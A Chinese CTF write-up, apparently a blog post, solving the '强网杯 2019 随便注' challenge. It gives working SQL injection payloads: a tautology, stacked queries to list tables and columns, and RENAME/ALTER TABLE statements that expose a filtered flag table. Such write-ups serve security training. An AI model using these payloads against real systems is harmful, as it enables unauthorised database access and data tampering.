[强网杯 2019]随便注

开靶机,提交一下有回显,改一下2再提交,有变化,说明是sql注入,看一下闭合情况。

输入‘

可以判断为字符型注入,我们用万能密码试一下,1' or 1=1;#

可以看到没有进行过滤,而是直接输出了所有内容,在输入select看一下,发现被过滤,还有以下几种函数均被过滤:

尝试用堆叠注入:1';show tables;# 

下面的是show tables的结果,我们看一下两个表中各有什么字段(注意1919810931114514要加上反引号``,不然出不来数据),

1';show columns from `1919810931114514`;#
1';show columns from words;#

 可以看到1919810931114514里面有flag字段,应该就是我们的目标了,但是要读字段的内容的话需要select函数,但是被过滤了不行,所以我们要想一个绕过select函数的方法。还记得刚开始用万能密码时它将所有数据都爆出来了,所以我们可以利用这一点。我们观察一下他的输出结果发现有两个字段,再根据我们看到words里面的字段数也为2时可以得到猜测:

后台的执行语句应为:select id,data from words where id='';

那么我们的目的就很明确了:将有flag的表改名为words,然后再在其中加一列列名为id的字段,再将flag改名为data,最后用万能语句输出内容。

以下我将先在本地mysql命令行中演示,最后给出payload

一、改名:

使用MySQL中的rename函数

假设这个表中就含有flag值。我们在题目环境中填入的

1';rename table words to words2;rename table `1919810931114514` to words;#

 在后台数据库中就为:

select id,data from words where id='1';rename table words to words2;rename table `1919810931114514` to words;#

先将words改为其他名字,再将1919810931114514改为words。

二、加字段,改字段名

因为后台要两个字段才行,所有我们随便加一个字段名为id

1';alter table words add id int(10) default '1';#

后面的意思就是加一列字段名为id,并将其的值赋为1,为int型

然后再将flag改名为data

1';alter table words change flag data varchar(1000);#

 这些alter都是MySQL自带的,可以去官方的文档看看用法

可以看到已经修改完成

三、输出数据 

select * from words where id='1' or 1=1;

所有最后的payload为:

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);#

然后

1' or 1=1;#

拿到flag

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

清丶酒孤欢ゞ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值